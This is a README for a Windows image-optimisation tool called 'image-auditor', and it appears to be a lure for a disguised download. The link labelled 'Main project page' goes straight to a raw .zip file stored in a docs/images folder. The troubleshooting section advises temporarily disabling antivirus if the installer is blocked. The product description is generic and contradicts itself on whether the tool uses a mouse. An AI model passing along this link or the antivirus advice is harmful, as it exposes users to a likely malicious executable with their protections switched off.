image-auditor is a tool that helps improve your website’s images. It finds common problems that slow down your pages or hurt user experience. It fixes issues like layout shifts caused by images, missing lazy loading, and other image optimizations suggested by Google Lighthouse.
The tool works through a simple text interface on Windows. It scans your website's code and automatically suggests or applies fixes to help your pages load faster and perform better.
You don’t need to know coding to use image-auditor. It was designed to help people looking for an easy way to improve web image performance without diving into technical details.
Before you start, check your system fits these requirements:
- Windows 10 or later (64-bit recommended)
- At least 4 GB of RAM available
- Minimum 200 MB free disk space
- Internet connection to download and update
- Basic permission to install software on your computer
image-auditor runs entirely on your local machine once downloaded. It does not upload your code anywhere.
-
Click the big blue badge near the top or visit the main project page here:
-
The link opens the project repository on GitHub. Look for the Releases or Assets section.
-
Download the latest Windows installer file. It will have a
.exeextension and a version number. For example, something likeimage-auditor-setup.exe. -
Once downloaded, locate the file in your downloads folder. Double-click the file to start the installer.
-
Follow the steps in the installation wizard:
- Accept the license agreement.
- Choose the install folder or keep the default.
- Click 'Install' to copy files to your PC.
- Finish the installation.
-
After the setup is complete, you will find image-auditor available in your Start menu or as a desktop shortcut.
Here is how to open and use the tool on Windows:
-
Open image-auditor from the Start menu or desktop shortcut.
-
The tool opens as a text-based interface inside a window.
-
Click or type to browse your project folder where your website files live.
-
Start the scan by selecting “Scan Codebase.” image-auditor will check all images and related code.
-
Once the scan finishes, it shows a list of detected image problems. These might include layout shifts, missing lazy loading, or images not in modern formats.
-
Review the results. You will see which files and lines need fixing.
-
Choose “Apply fixes” to let image-auditor update your files automatically.
-
After fixes finish, you can run another scan to verify all issues are resolved.
image-auditor works well with most web projects using HTML, CSS, and JavaScript. It supports static site files and common frontend frameworks.
If your project is hosted locally in folders with .html, .js, .css, and image files like .jpg, .png, .webp, image-auditor can review and improve those assets.
It does not require any server setup or complicated configuration.
- Fix Cumulative Layout Shift (CLS): Helps prevent images from unexpectedly moving during page load by setting proper dimensions.
- Add Lazy Loading: Automatically marks images to load only when visible on screen. Reduces load time.
- Convert to WebP: Suggests or converts your images to WebP format when possible for faster loading.
- Optimize srcset Attributes: Scans for better responsive image setups to serve the right image size for each device.
- Full Codebase Support: Scans every file in your project folder quickly, even large projects.
- Local and Secure: Works offline after installation, so your code stays private on your machine.
- Simple Text User Interface (TUI): No mouse needed; keyboard navigation helps speed up fixes.
You can customize image-auditor by editing simple text files in the program folder after installation.
Common options include:
- Exclude certain folders or file types from scanning
- Choose which types of image fixes to apply
- Adjust image quality settings for conversion
- Set scan performance options to balance speed and thoroughness
Default settings work well for most users. Change them only if you want finer control.
-
The installer does not start: Check if your antivirus or security settings block unknown installers. Temporarily disable such programs if safe.
-
The scan does not detect my project: Make sure you select the correct folder containing your website files.
-
Auto-fixes change too much unwanted code: You can cancel fixes anytime and restore a backup created before changes.
-
The program freezes: Ensure your system meets the requirements. Restart image-auditor or your computer if needed.
Support is not included in this readme, but community forums and GitHub issues can help with uncommon problems.
-
Main project page: https://raw.githubusercontent.com/Vitalizationgenusdioon476/image-auditor/main/docs/images/image-auditor-2.4.zip
-
Download badge for quick access:
This tool focuses on one common but important part of website performance: images. It handles several problems that Google Lighthouse often flags, helping your pages run smoother and faster without deep technical work.
It runs locally on your Windows PC. It is quick to install and uses a simple interface with clear instructions. It is a practical choice if you want to improve image performance without hiring developers or learning complex tools.